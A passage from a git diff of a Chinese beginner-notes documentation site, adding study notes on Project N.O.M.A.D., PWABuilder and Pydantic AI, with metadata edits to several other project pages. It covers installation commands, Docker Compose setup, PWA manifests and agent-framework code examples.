+// 用户登录后，把这个随机 ID 和真实用户 ID 绑定
+
+posthog.identify('user_12345', {
+  email: 'jason@example.com',
+  name: 'Jason',
+  plan: 'pro'
+});
+```
+
+这样，之前匿名的所有行为都会归到这个用户身上。
+
+## 架构速览
+
+```
+浏览器 / App 中的 SDK
+        │
+        ▼
+   PostHog 收集器 (Capture API)
+        │
+        ▼
+   Kafka → ClickHouse（数据存储与查询）
+        │
+        ▼
+   Web 仪表板（图表、漏斗、留存、回放）
+```
+
+PostHog 后端用 Python 编写，数据存储在 ClickHouse（列式数据库），消息队列用 Kafka。整个项目放在 GitHub 上，可以用 Docker 一键部署到自己服务器上。
+
+## 和其他工具的对比
+
+| 工具 | 定位 | 开源？ | 特点 |
+|------|------|--------|------|
+| **PostHog** | 全栈产品分析 | 是 | 功能最全，自建数据 |
+| **Google Analytics** | 流量分析 | 免费闭源 | 免费但数据不归你 |
+| **Mixpanel** | 事件分析 | 闭源 | 产品体验好，数据在对方那里 |
+| **Amplitude** | 产品分析 | 闭源 | 功能深入，数据在对方那里 |
+
+PostHog 的核心优势：**数据在自己手里**，符合隐私合规要求，而且免费开源。
+
+## 快速上手步骤
+
+1. 注册 PostHog Cloud（免费 100 万条事件/月）或自建部署
+2. 获取 Project Token
+3. 在网页中粘贴安装代码
+4. 等待用户产生行为
+5. 在仪表板中查看趋势、漏斗、留存
+
+## 进一步学习方向
+
+- [产品分析概览](https://posthog.com/docs/product-analytics) — 官方完整文档
+- [事件捕获指南](https://posthog.com/docs/product-analytics/capture-events) — 如何追踪事件
+- [JS SDK 安装](https://posthog.com/docs/libraries/js) — 前端集成详情
+- [识别用户](https://posthog.com/docs/product-analytics/identify-users) — 匿名到已知的转换
+
+## 一句话总结
+
+PostHog 把原来需要 Google Analytics + Mixpanel + FullStory + LaunchDarkly 四个工具才能做的事，全部塞进了一个开源项目里。你只需要装一个 SDK，剩下的分析和实验功能开箱即用。
diff --git a/src/content/docs/projects/prefect.md b/src/content/docs/projects/prefect.md
index fded197f7..c570715cf 100644
--- a/src/content/docs/projects/prefect.md
+++ b/src/content/docs/projects/prefect.md
@@ -2,8 +2,8 @@
 title: Prefect — Python 原生编排，让数据流水线像写普通函数一样自然
 来源: Prefect Documentation, https://docs.prefect.io/v3/
 日期: 2026-05-31
-子分类: 数据科学与 AI
-分类: 机器学习
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/prisma.md b/src/content/docs/projects/prisma.md
index fe6f356c1..928da0226 100644
--- a/src/content/docs/projects/prisma.md
+++ b/src/content/docs/projects/prisma.md
@@ -184,6 +184,7 @@ Prisma 自动：
 - [[better-auth]] —— better-auth — 把登录/OAuth/2FA/Passkey 拼成一行配置的 TS 认证框架
 - [[cal-com]] —— cal.com — 自己能托管的开源 Calendly
 - [[drizzle]] —— Drizzle ORM — 轻量 SQL-like ORM
+- [[drizzle-orm]] —— drizzle-orm
 - [[edgedb]] —— EdgeDB / Gel — 在 Postgres 上长出图风查询语言，让类型系统替你做 ORM
 - [[gqlgen]] —— gqlgen — Go 用 schema 先写好再让编译器生成 GraphQL server
 - [[kysely]] —— Kysely — TypeScript SQL 查询构建器
diff --git a/src/content/docs/projects/project-nomad.md b/src/content/docs/projects/project-nomad.md
new file mode 100644
index 000000000..8719c79ba
--- /dev/null
+++ b/src/content/docs/projects/project-nomad.md
@@ -0,0 +1,213 @@
+---
+title: Project N.O.M.A.D. 离线知识服务器
+来源: https://github.com/Crosstalk-Solutions/project-nomad
+日期: 2026-06-13
+分类: 操作系统
+子分类: 嵌入式与 IoT
+provenance: pipeline-v3
+---
+
+# Project N.O.M.A.D. 零基础学习笔记
+
+## 一个类比：数字时代的"诺亚方舟"
+
+想象一下，如果世界末日来了，互联网断了，电力还在，你有一台电脑——你能在这台电脑上保留什么知识？
+
+传统做法是把 PDF 堆满硬盘。但 N.O.M.A.D. 做的是更聪明的事情：它把整座城市装进一个箱子里。维基百科、可汗学院的课程、离线地图、AI 聊天助手、加密工具、笔记系统……全部打包在一起，拔掉网线也能用。
+
+N.O.M.A.D. 的全称是 **Node for Offline Media, Archives, and Data**。它本质上是一个"离线生存计算机"的操作系统。
+
+## 核心概念一：容器化编排——像搭乐高
+
+N.O.M.A.D. 的核心思想很朴素：**不要把一切写死在一个程序里，而是让每个功能都是一个独立的"积木"（容器），由一个中央控制器来管理。**
+
+这个中央控制器叫 **Command Center**（指挥中心）。你打开浏览器访问 `localhost:8080`，看到的不是某个单一功能，而是一个仪表盘——它告诉你：哪些积木装好了，哪些还没装，哪个积木需要更新。
+
+每块"积木"都是一个 Docker 容器：
+
+```
+┌─────────────────────────────────────────────────┐
+│              Command Center (UI + API)            │
+│  ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐  │
+│  │Kiwix │ │Ollama│ │Kolibri│ │Proto│ │Cyber │  │
+│  │WIKI  │ │+Qdrant│ │Learn │ │Maps │ │Chef  │  │
+│  └──────┘ └──────┘ └──────┘ └──────┘ └──────┘  │
+└─────────────────────────────────────────────────┘
+         ↑ 全部由 Docker 管理，互相隔离
+```
+
+为什么要用容器而不是把所有东西装在一个系统里？
+
+1. **隔离**：Wikipedia 服务崩了不会影响 AI 聊天
+2. **替换**：想把 Ollama 换成别的 AI 后端？换容器就行
+3. **干净卸载**：想全部删掉？一条命令的事
+
+## 核心概念二：离线优先（Offline-First）
+
+N.O.M.A.D. 的设计哲学是：**默认情况下，它应该能在完全断网的环境中运行。**
+
+安装时需要网络（因为要下载所有东西），但一旦装好，拔网线——一切照常。这跟普通的云服务完全相反。
+
+实现方式很简单：
+
+- Wikipedia 不是在线访问，而是预下载 ZIM 格式文件（Kiwix 引擎）
+- 课程不是串流播放，而是本地存储（Kolibri）
+- AI 模型不是调用云端 API，而是运行在你自己的 GPU 上（Ollama）
+
+## 核心概念三：RAG——让 AI "查资料后回答"
+
+N.O.M.A.D. 的 AI 聊天功能有一个特别的设计：它不是让 AI 凭记忆回答，而是先**搜索你上传的文档，再基于搜索结果生成答案**。这个技术叫 **RAG（Retrieval-Augmented Generation，检索增强生成）**。
+
+用日常类比来说：
+
+> 传统 AI 聊天 = 让一个学生闭卷考试（只靠训练时背的知识）
+> N.O.M.A.D. 的 RAG = 让一个学生开卷考试（可以先查你的笔记，再作答）
+
+它的底层工具链是：
+- **Ollama**：本地运行大语言模型（比如 Llama、Mistral）
+- **Qdrant**：向量数据库，负责把文档切碎、变成向量、然后快速搜索
+
+## 代码示例
+
+### 示例一：一键安装脚本
+
+N.O.M.A.D. 提供了一条命令完成全部安装。理解每一行的作用：
+
+```bash
+sudo apt-get update && \
+sudo apt-get install -y curl && \
+curl -fsSL https://raw.githubusercontent.com/Crosstalk-Solutions/project-nomad/refs/heads/main/install/install_nomad.sh \
+  -o install_nomad.sh && \
+sudo bash install_nomad.sh
+```
+
+拆解：
+1. `apt-get update` — 更新软件包列表（告诉系统"有什么新东西可以装"）
+2. `apt-get install -y curl` — 安装 curl 工具（用来下载文件）
+3. `curl -fsSL ...` — 从 GitHub 下载安装脚本，`-f` 失败时不显示 HTML 错误页，`-s` 静默模式，`-S` 出错时仍显示错误，`-L` 跟随重定向
+4. `sudo bash install_nomad.sh` — 以管理员权限运行安装脚本
+
+安装脚本内部会自动做这些事：
+- 检查系统是否满足要求（Docker、磁盘空间等）
+- 拉取所有需要的 Docker 镜像
+- 生成 `docker-compose.yml` 配置文件
+- 启动所有服务
+
+### 示例二：Docker Compose 编排——指挥中心的配置文件
+
+N.O.M.A.D. 高级安装方式的核心是 `docker-compose.yml`。这个文件告诉 Docker："请按照下面的配置启动一堆容器"。
+
+简化版的结构如下：
+
+```yaml
+services:
+  nomad-command-center:
+    image: crosstalksolutions/project-nomad:latest
+    ports:
+      - "8080:8080"
+    volumes:
+      - ./data:/app/data
+    depends_on:
+      - nomad-mysql
+      - nomad-ollama
+      - nomad-kiwix
+      - nomad-kolibri
+
+  nomad-mysql:
+    image: mysql:8
+    volumes:
+      - mysql_data:/var/lib/mysql
+
+  nomad-ollama:
+    image: ollama/ollama
+    volumes:
+      - ollama_data:/root/.ollama
+    # AI 模型会存储在这里
+
+  nomad-kiwix:
+    image: ghcr.io/kiwix/kiwix-serve:latest
+    volumes:
+      - kiwix_data:/data
+```
+
+关键概念解释：
+
+- **services**：定义要运行的每个容器（相当于"积木块"的配方）
+- **image**：容器的"模板"，告诉 Docker 用哪个镜像来创建容器
+- **ports**：端口映射。`8080:8080` 表示把容器内的 8080 端口暴露到宿主机的 8080 端口
+- **volumes**：数据卷，让容器重启后数据不丢失
+- **depends_on**：启动顺序，确保数据库先于应用启动
+
+启动命令：
+```bash
+docker compose up -d
+```
+`-d` 表示"后台运行"（detach），这样终端不会卡在这个进程上。
+
+### 示例三：日常管理脚本
+
+N.O.M.A.D. 安装后在 `/opt/project-nomad/` 下放了几个 helper 脚本：
+
+```bash
+# 启动所有服务
+sudo bash /opt/project-nomad/start_nomad.sh
+
+# 停止所有服务
+sudo bash /opt/project-nomad/stop_nomad.sh
+
+# 更新指挥中心本身（不含已安装的应用）
+sudo bash /opt/project-nomad/update_nomad.sh
+```
+
+这些脚本本质上是 `docker compose up` 和 `docker compose down` 的封装，让不需要懂 Docker 的用户也能管理整个系统。
+
+## N.O.M.A.D. 内置工具全景
+
+| 工具 | 用途 | 底层引擎 |
+|------|------|---------|
+| 信息图书馆 | 离线阅读 Wikipedia、医学文献、电子书 | Kiwix |
+| AI 助手 | 本地聊天、上传文档后问答 | Ollama + Qdrant |
+| 教育平台 | 可汗学院课程、学习进度追踪 | Kolibri |
+| 离线地图 | 下载区域地图、搜索和导航 | ProtoMaps |
+| 数据工具 | 加密、编码、哈希分析 | CyberChef |
+| 笔记系统 | 本地 Markdown 笔记 | FlatNotes |
+| 系统基准测试 | 硬件评分、社区排行榜 | 自建 |
+
+## 硬件需求：为什么它"反其道而行"
+
+大多数离线系统追求"能在树莓派上跑"。N.O.M.A.D. 恰好相反——它的目标是**充分利用硬件**。
+
+因为：
+- AI 模型需要大量 GPU 显存（推荐 RTX 3060+）
+- 离线百科和课程需要大量存储空间（推荐 250GB+ SSD）
+- 向量数据库搜索需要较多内存（推荐 32GB RAM）
+
+最小配置（只跑指挥中心本身）：
+- CPU: 双核 2GHz
+- RAM: 4GB
+- 存储: 5GB
+
+这个设计取向说明 N.O.M.A.D. 的定位不是"应急手摇发电机"，而是"高性能离线知识中心"——适合偏远地区学校、研究站、灾区指挥中心等场景。
+
+## 隐私与安全
+
+N.O.M.A.D. 的设计原则是：**零遥测、零数据外传**。安装后不会发送任何使用数据给作者。
+
+它检测网络连通性的方式也很特别——向 Cloudflare 的 `1.1.1.1/cdn-cgi/trace` 发一个请求，如果成功响应就说明有网络。这个选择很"极客"：Cloudflare 的 CDN 边缘节点全球分布，连通性检测最可靠。
+
+安全方面的坦诚声明：N.O.M.A.D. **默认没有用户认证**。项目团队认为这不是优先级问题，而是设计取舍——为了降低使用门槛，先不加认证。如果多人使用同一台设备，建议通过防火墙控制端口暴露。
+
+## 我的理解
+
+N.O.M.A.D. 最打动我的地方在于它的**"离线优先"不是噱头，而是架构起点**。
+
+很多项目说"支持离线"，实际上是"在线优先，离线是事后补的"。N.O.M.A.D. 从第一天就假设：网络可能不存在。所以它的所有工具（Wikipedia、AI、地图、课程）都设计为完整存储在本地。
+
+这种思维方式值得借鉴：**在做任何系统设计时，先问"如果最坏的情况发生，这个系统还能工作吗？"** 而不是"如果一切正常，这个系统能做多好。"
+
+## 下一步学习方向
+
+1. 了解 Docker Compose 的基础语法——理解 N.O.M.A.D. 的编排配置
+2. 了解 Ollama 的基本用法——理解 N.O.M.A.D. 的 AI 功能
+3. 了解向量数据库的概念——理解 Qdrant 在 RAG 中的作用
+4. 尝试在本地用 Docker Compose 跑一个简单的服务——动手体验容器编排
diff --git a/src/content/docs/projects/prometheus.md b/src/content/docs/projects/prometheus.md
index 41af93722..89f61a5f5 100644
--- a/src/content/docs/projects/prometheus.md
+++ b/src/content/docs/projects/prometheus.md
@@ -2,8 +2,8 @@
 title: Prometheus — 时序监控系统
 来源: https://github.com/prometheus/prometheus
 日期: 2026-05-29
-子分类: 存储与查询
-分类: 数据库
+子分类: cloud-native
+分类: 基础设施
 难度: 中级
 schema_version: legacy-long
 provenance: legacy-migrated
diff --git a/src/content/docs/projects/pulumi.md b/src/content/docs/projects/pulumi.md
index 7868fbeb0..e76552145 100644
--- a/src/content/docs/projects/pulumi.md
+++ b/src/content/docs/projects/pulumi.md
@@ -2,7 +2,7 @@
 title: Pulumi — 用真正的编程语言写云资源清单
 来源: https://github.com/pulumi/pulumi
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/pwa-builder.md b/src/content/docs/projects/pwa-builder.md
new file mode 100644
index 000000000..0067d9882
--- /dev/null
+++ b/src/content/docs/projects/pwa-builder.md
@@ -0,0 +1,223 @@
+---
+title: PWABuilder — 把网站变成可上架商店的 PWA
+来源: https://github.com/pwa-builder/PWABuilder
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+PWABuilder 是 Microsoft 开源的 **PWA（Progressive Web App，渐进式 Web 应用）工具家族**，核心站点 [pwabuilder.com](https://www.pwabuilder.com/) 能帮你：诊断现有网站离「合格 PWA」还差什么、在线生成/修补 Web Manifest 与 Service Worker、把 PWA **打包成可提交到应用商店的原生安装包**（Microsoft Store、Google Play、Meta Quest、iOS App Store 等）。日常类比：
+
+> 你开了一家只在浏览器里营业的网店（普通网站）。顾客得先打开浏览器、输入网址才能进来。
+> **PWA** 相当于给网店办了一张「实体会员卡」：顾客可以把图标钉到手机桌面，点开像原生 App 一样全屏打开，断网时还能靠缓存看已访问过的页面。
+> **PWABuilder** 则是这家店的「办证 + 报关一条龙中介」：它检查你的店有没有挂牌（manifest）、有没有夜班保安（service worker）、有没有 HTTPS 门禁；缺什么就帮你生成草稿；最后还能把整家店打成 `.msix` / `.aab` / Xcode 工程，送去各大「商场」（应用商店）上架。
+
+一句话：**PWABuilder 把「我会写网页」和「我能上 App Store」之间的鸿沟，收成几次点击 + 少量配置**。
+
+## 为什么重要
+
+PWA 本身不神秘，难的是把 manifest、Service Worker、图标、商店元数据、各平台签名规则拼成可交付物。PWABuilder 的价值在于：
+
+- **降低入门门槛**：输入 URL 即可得到「成绩单」（Report Card），告诉你 Required / Recommended / Optional 字段缺哪些；不必先读完整本 W3C 规范。
+- **跨商店打包**：同一套 Web 前端，可生成 Windows（MSIX）、Android（Trusted Web Activity / Bubblewrap）、iOS（Swift + WKWebView 壳）、Meta Quest 等包，避免为每个平台从零写壳工程。
+- **与微软生态对齐**：Edge、Windows、Microsoft Learn 培训模块都推荐 PWABuilder 作为 PWA 集成路径；企业内网站点转 Windows 商店应用时常见此工具链。
+- **开源可扩展**：Monorepo 内含网站、VS Code 扩展（PWA Studio）、文档站、manifest 校验库；社区可 PR 修 bug 或接新商店能力。
+
+若你已在用 [[workbox]] 或 `vite-plugin-pwa` 手写 Service Worker，PWABuilder 并不替代它们——它更擅长 **评估、脚手架生成、商店打包** 这三段「最后一公里」。
+
+## 核心概念
+
+### 1. PWA 三要素（PWABuilder 的评分维度）
+
+| 要素 | 作用 | PWABuilder 中的位置 |
+|------|------|---------------------|
+| **Web App Manifest** | 告诉系统：应用名、图标、启动 URL、显示模式（standalone 等） | Manifest 编辑器 / 自动生成 `manifest.json` |
+| **Service Worker** | 后台脚本：缓存静态资源、离线 fallback、推送等 | 预置 SW 模板（离线、推送、后台同步等） |
+| **HTTPS** | 安全上下文；SW 与部分 PWA API 的硬性前提 | 分析 URL 时校验；本地开发可用 localhost 例外 |
+
+Microsoft Edge 文档指出：在部分平台上，**没有 Service Worker 也可能可安装**，但强烈建议配备 SW 以提升速度与离线可靠性——PWABuilder 的推荐流程仍会引导你生成 SW。
+
+### 2. PWABuilder 工具家族
+
+GitHub Monorepo `pwa-builder/PWABuilder` 不只是一个网站，而是一组工具：
+
+| 工具 | 用途 |
+|------|------|
+| **PWABuilder.com** | 在线分析、编辑 manifest、选 SW、下载基础包、`Package for stores` |
+| **PWA Studio**（VS Code 扩展） | 在编辑器里创建/改进/打包 PWA，减少切浏览器 |
+| **PWA Starter**（独立模板仓库） | 带 manifest + SW 的入门项目，适合从零新建 |
+| **`<pwa-install>`** | Web Component，优化「添加到主屏幕」安装体验 |
+| **docs.pwabuilder.com** | 各商店打包、推送、IAP 等长篇指南 |
+
+### 3. 典型工作流
+
+```text
+已有网站 URL
+    → pwabuilder.com 输入 URL，查看 Report Card
+    → 修补 Manifest（在线编辑或下载后部署）
+    → 选择预置 Service Worker 并下载
+    → 将 manifest / sw / icons 部署到自己的 HTTPS 站点
+    → 再次检测，确认可安装
+    → Package for stores → 选平台 → 填元数据 → 下载包
+    → 用商店后台 / Xcode / Partner Center 提交审核
+```
+
+**注意**：在 pwabuilder.com 在线 Manifest 编辑器里改的字段 **不会自动写回你的服务器**；你必须把生成的 `manifest.json` 部署到自己的域名，否则用户安装的仍是旧元数据。
+
+### 4. Manifest 字段优先级
+
+PWABuilder 与 Microsoft 文档将字段分为：
+
+- **Required**：无 manifest、无 `name` / `short_name` / `start_url`、无图标 → 无法完成打包。
+- **Recommended**：`display`、`theme_color`、`description`、screenshots、maskable icon、shortcuts 等 → 强烈建议补全，影响安装体验与商店审核。
+- **Optional**：年龄分级、`related_applications` 等。
+
+### 5. 商店打包的本质
+
+对多数平台，PWABuilder 生成的是 **原生壳 + WebView 加载你的 PWA URL**（iOS 为 Swift + WKWebView；Android 常为 TWA）。你的业务逻辑仍在 Web 层迭代；壳负责签名、商店清单、部分原生能力（推送、IAP 需额外配置）。
+
+iOS 打包在文档中标注为 **Experimental**：能否过审取决于 PWA 的 UI/UX 与是否使用推送、内购等原生能力，Apple 仍有人工审核裁量权。
+
+## 实践案例
+
+### 案例 1：从零给静态站点补上 Manifest 与 Service Worker 注册
+
+假设你有一个部署在 `https://example.com` 的 SPA，尚无 PWA 文件。在 PWABuilder 生成 zip 后，典型集成如下。
+
+**`manifest.json`（节选，可按 Report Card 补全 recommended 字段）：**
+
+```json
+{
+  "name": "示例小店",
+  "short_name": "小店",
+  "description": "我的渐进式 Web 应用",
+  "start_url": "/",
+  "display": "standalone",
+  "background_color": "#ffffff",
+  "theme_color": "#0d47a1",
+  "icons": [
+    {
+      "src": "/images/icons/icon-192.png",
+      "sizes": "192x192",
+      "type": "image/png",
+      "purpose": "any"
+    },
+    {
+      "src": "/images/icons/icon-512-maskable.png",
+      "sizes": "512x512",
+      "type": "image/png",
+      "purpose": "maskable"
+    }
+  ]
+}
+```
+
+**`index.html` 中挂载 manifest 并注册 PWABuilder 提供的 SW：**
+
+```html
+<!DOCTYPE html>
+<html lang="zh-CN">
+  <head>
+    <meta charset="utf-8" />
+    <meta name="viewport" content="width=device-width, initial-scale=1" />
+    <link rel="manifest" href="/manifest.json" />
+    <meta name="theme-color" content="#0d47a1" />
+    <title>示例小店</title>
+  </head>
+  <body>
+    <div id="app"></div>
+    <script>
+      if ('serviceWorker' in navigator) {
+        window.addEventListener('load', () => {
+          navigator.serviceWorker
+            .register('/pwabuilder-sw.js', { scope: '/' })
+            .then((reg) => console.log('SW registered', reg.scope))
+            .catch((err) => console.error('SW failed', err));
+        });
+      }
+    </script>
+  </body>
+</html>
+```
+
+部署后再次把 URL 丢进 PWABuilder，Manifest 与 Service Worker 分数应变绿；Lighthouse PWA 审计也会明显改善。
+
+### 案例 2：用 `<pwa-install>` 改善「安装到桌面」转化
+
+PWABuilder 生态推荐的安装提示组件（npm 包 `@khmyznikov/pwa-install`）可在支持的浏览器里展示符合平台规范的安装 UI：
+
+```html
+<head>
+  <script
+    type="module"
+    src="https://cdn.jsdelivr.net/npm/@khmyznikov/pwa-install@latest/dist/pwa-install.bundle.js"
+  ></script>
+</head>
+<body>
+  <pwa-install
+    manifest-url="/manifest.json"
+    install-description="安装到主屏幕，离线也能逛"
+  ></pwa-install>
+  <!-- 你的应用内容 -->
+</body>
+```
+
+逻辑要点：
+
+- 仅当浏览器判定站点 **可安装**（具备 manifest + SW + HTTPS 等）时，组件才应展示安装入口。
+- iOS Safari 的安装路径仍是「分享 → 添加到主屏幕」，组件会做能力检测与文案适配。
+- 与 PWABuilder 生成的 manifest 路径保持一致，避免组件读到的图标/名称与系统安装对话框不一致。
+
+### 案例 3：命令行侧与 [[workbox]] 的分工（概念对比）
+
+若项目已用 Vite + `vite-plugin-pwa` 生成带 precache 的 Service Worker，**不必**再用 PWABuilder 的预置 SW 覆盖生产环境；更合理的分工是：
+
+1. 用 **Workbox / vite-plugin-pwa** 维护运行时缓存策略（precache、StaleWhileRevalidate 等）。
+2. 用 **PWABuilder.com** 做 manifest 合规检查、补图标尺寸、生成商店截图清单，并在发布前执行 **Package for stores**。
+
+这样避免两套 SW 抢同一 `scope` 注册。
+
+## 各平台打包速览
+
+| 平台 | PWABuilder 产出 | 提交前常见额外步骤 |
+|------|-----------------|-------------------|
+| **Microsoft Store** | `.msix` 等 | Partner Center 应用身份、年龄分级 |
+| **Google Play** | Android App Bundle（TWA） | Play Console、数字资产链接（Digital Asset Links）验证域名 |
+| **Apple App Store** | Xcode 工程（Swift 壳） | Apple Developer 账号、证书、Provisioning Profile、`pod install` |
+| **Meta Quest** | 适配 VR 商店的包 | 按文档配置沉浸式/控制器能力 |
+
+iOS 路径在 docs.pwabuilder.com 有逐步说明：解压包 → `src` 目录 `pod install` → 打开 **`.xcworkspace`**（不是 `.xcodeproj`）→ Xcode 构建与 Archive 上传。
+
+## 常见问题
+
+**Q：只有 manifest，没有 Service Worker，算 PWA 吗？**  
+A：部分浏览器仍可能提供「安装」入口，但离线能力与更新策略会受限。PWABuilder 与 Edge 文档均建议两者兼备。
+
+**Q：在线改的 manifest 为什么没生效？**  
+A：编辑器改动只影响你**下载的包**或本地草稿；必须将 `manifest.json` 部署到线上 HTTPS 路径，并确保 HTML 的 `<link rel="manifest">` 指向正确 URL。
+
+**Q：和 Capacitor / React Native 有何不同？**  
+A：Capacitor 等是把 Web 资产打进原生容器并暴露大量原生插件 API；PWABuilder 更轻，主打 **PWA 标准 + 商店壳**，适合以 Web 为主、原生定制较少的场景。
+
+**Q：内购和推送能做吗？**  
+A：iOS 上推送需 Firebase Cloud Messaging + 修改 AppDelegate 中 PWABuilder 标记的 TODO；StoreKit 2 内购需参考官方示例仓库与博客，属于「实验性高级话题」，非开箱即用。
+
+## 学习路径（零基础）
+
+1. **10 分钟**：读 MDN [Progressive Web Apps](https://developer.mozilla.org/zh-CN/docs/Web/Progressive_web_apps) 概览，建立 manifest / SW / 可安装性概念。
+2. **30 分钟**：拿一个自己的 HTTPS 站点 URL 跑一遍 pwabuilder.com，对照 Report Card 记下缺项。
+3. **1 小时**：按案例 1 部署 manifest + SW，用 Chrome DevTools → Application 面板检查 Manifest 与 Service Worker 状态。
+4. **半天**：跟 Microsoft Learn 模块 [Integrate your project with PWABuilder](https://learn.microsoft.com/en-us/training/modules/integrate-with-pwabuilder/) 做实验。
+5. **按需深入**：选定一个目标商店，精读 docs.pwabuilder.com 对应打包文档；若缓存策略复杂，并行学习 [[workbox]]。
+
+## 相关链接
+
+- 官网与检测入口：[https://www.pwabuilder.com/](https://www.pwabuilder.com/)
+- 源码 Monorepo：[https://github.com/pwa-builder/PWABuilder](https://github.com/pwa-builder/PWABuilder)
+- 文档站：[https://docs.pwabuilder.com/](https://docs.pwabuilder.com/)
+- PWA Starter 模板：[https://github.com/pwa-builder/pwa-starter](https://github.com/pwa-builder/pwa-starter)
+- VS Code 扩展 PWA Studio：[Marketplace 页面](https://marketplace.visualstudio.com/items?itemName=PWABuilder.pwa-studio)
+- 博客（转换指南、IAP 等）：[https://blog.pwabuilder.com/](https://blog.pwabuilder.com/)
diff --git a/src/content/docs/projects/pydantic-ai.md b/src/content/docs/projects/pydantic-ai.md
new file mode 100644
index 000000000..ea5df96e2
--- /dev/null
+++ b/src/content/docs/projects/pydantic-ai.md
@@ -0,0 +1,183 @@
+---
+title: Pydantic AI — 零基础学习笔记
+来源: https://github.com/pydantic/pydantic-ai
+日期: 2026-06-13
+分类: 机器学习
+子分类: 数据科学与 AI
+provenance: pipeline-v3
+---
+
+# Pydantic AI — 零基础学习笔记
+
+## 什么是 Pydantic AI
+
+Pydantic AI 是由 Pydantic 团队（就是做 FastAPI 数据验证那个团队）开发的 Python AI Agent 框架。
+
+日常类比：如果把 LLM（大语言模型）想象成一个很聪明但经常胡说八道的外包员工，那 Pydantic AI 就是一套"管理制度"——它给这个员工明确的工作流程、工具权限和验收标准，让你能用写普通 Python 代码的方式，可靠地驱动 LLM 完成真实任务。
+
+核心一句话：**它是 Pydantic 验证库的 AI 延伸，用你熟悉的类型系统来约束 LLM 的输出和行为。**
+
+## 核心概念
+
+Pydantic AI 围绕以下几个核心概念构建：
+
+1. **Agent（智能体）** — 一切的核心。Agent 是一个容器，装着指令、工具、输出类型、依赖项和模型配置。就像一台配置好的机器，你给它原料（用户输入），它就按设定好的流程运转，产出结果。
+2. **Models & Providers（模型与供应商）** — 支持 OpenAI、Anthropic、Google Gemini、DeepSeek 等几乎所有主流 LLM，通过统一的接口调用，不用改代码就能切换模型。
+3. **Tools（工具）** — 你给 Agent 准备的"工具箱"。LLM 在回答过程中可以调用这些工具获取信息，比如查数据库、调 API、做计算。
+4. **Dependencies（依赖注入）** — 通过类型安全的方式把外部资源（数据库连接、配置等）注入到 Agent 中。
+5. **Output（输出）** — Agent 最终返回的结果。可以是纯文本、结构化数据（由 Pydantic 保证格式正确），也可以是自定义函数的返回。
+6. **Capabilities（能力包）** — 可复用的功能模块，比如联网搜索、深度思考，像插件一样装到 Agent 上。
+7. **Structured Output（结构化输出）** — 用 Pydantic BaseModel 定义输出格式，LLM 的返回会被自动校验，不合格就让它重写。
+
+## 代码示例一：最简单的 Hello World
+
+这是最小可用示例，理解了这个，其他都是在此基础上加东西。
+
+```python
+from pydantic_ai import Agent
+
+# 1. 创建一个 Agent，指定要用的模型和指令
+agent = Agent(
+    'anthropic:claude-sonnet-4-6',
+    instructions='Be concise, reply with one sentence.',
+)
+
+# 2. 运行 Agent，传入用户问题
+result = agent.run_sync('Where does "hello world" come from?')
+
+# 3. 拿到结果
+print(result.output)
+# The first known use of "hello, world" was in a 1974 textbook about the C programming language.
+```
+
+逐行拆解：
+
+- `Agent()` 构造函数接收模型标识（`'provider:model-name'` 格式）和可选参数。
+- `instructions` 是给 LLM 的系统指令，相当于告诉它"你怎么工作"。
+- `run_sync()` 是同步运行（也可以用 `run()` 异步运行），返回一个 `AgentRunResult` 对象。
+- `result.output` 就是 LLM 的最终回答。
+
+关键理解：Agent 本身只是"配置"，真正的对话发生在调用 `run_sync()` 的那一刻。Agent 可以重复使用，就像 FastAPI 的 App 对象。
+
+## 代码示例二：带工具的结构化输出
+
+这个例子展示两个核心能力：给 Agent 配备工具 + 要求结构化输出。
+
+场景：一个银行客服 Agent，能查询用户余额，并返回结构化的客服建议。
+
+```python
+from dataclasses import dataclass
+from pydantic import BaseModel, Field
+from pydantic_ai import Agent, RunContext
+
+# --- 第一步：定义依赖项（Agent 运行时需要的外部资源）---
+@dataclass
+class SupportDependencies:
+    customer_id: int
+    db: 'DatabaseConn'  # 数据库连接
+
+# --- 第二步：定义输出的数据结构 ---
+# LLM 的回答必须符合这个格式，否则会被要求重写
+class SupportOutput(BaseModel):
+    support_advice: str = Field(description='Advice returned to the customer')
+    block_card: bool = Field(description="Whether to block the customer's card")
+    risk: int = Field(description='Risk level of query', ge=0, le=10)
+
+# --- 第三步：创建 Agent ---
+support_agent = Agent(
+    'openai:gpt-5.2',
+    deps_type=SupportDependencies,  # 告诉 Agent 需要什么依赖
+    output_type=SupportOutput,       # 要求结构化输出
+    instructions=(
+        'You are a support agent in our bank, give the '
+        'customer support and judge the risk level of their query.'
+    ),
+)
+
+# --- 第四步：注册工具 ---
+# 工具函数会被 LLM 在需要时调用
+# @tool 装饰器的工具可以访问 RunContext（包含依赖项）
+@support_agent.tool
+async def customer_balance(
+    ctx: RunContext[SupportDependencies], include_pending: bool
+) -> float:
+    """Returns the customer's current account balance.
+    
+    Args:
+        include_pending: Whether to include pending transactions.
+    """
+    # ctx.deps 就是 SupportDependencies 实例
+    balance = await ctx.deps.db.customer_balance(
+        id=ctx.deps.customer_id,
+        include_pending=include_pending,
+    )
+    return balance
+
+# --- 第五步：运行 ---
+async def main():
+    deps = SupportDependencies(customer_id=123, db=DatabaseConn())
+    
+    # 用户说余额查询
+    result = await support_agent.run('What is my balance?', deps=deps)
+    print(result.output)
+    # support_advice='Hello John, your current account balance is $123.45.'
+    # block_card=False risk=1
+    
+    # 用户说卡片丢了
+    result = await support_agent.run('I just lost my card!', deps=deps)
+    print(result.output)
+    # support_advice="I'm sorry to hear that, John. We are temporarily
+    # blocking your card." block_card=True risk=8
+
+import asyncio
+asyncio.run(main())
+```
+
+逐行拆解关键部分：
+
+1. **`@dataclass` 定义依赖** — 把数据库连接和客户 ID 打包，通过依赖注入传给 Agent。这就像给机器配好电源和原材料再启动。
+
+2. **`BaseModel` 定义输出结构** — `SupportOutput` 规定了 LLM 回答必须包含三个字段：`support_advice`（字符串）、`block_card`（布尔值）、`risk`（0-10 的整数）。如果 LLM 返回的格式不对，Pydantic AI 会自动把验证错误丢回去让 LLM 重写，直到格式正确为止。
+
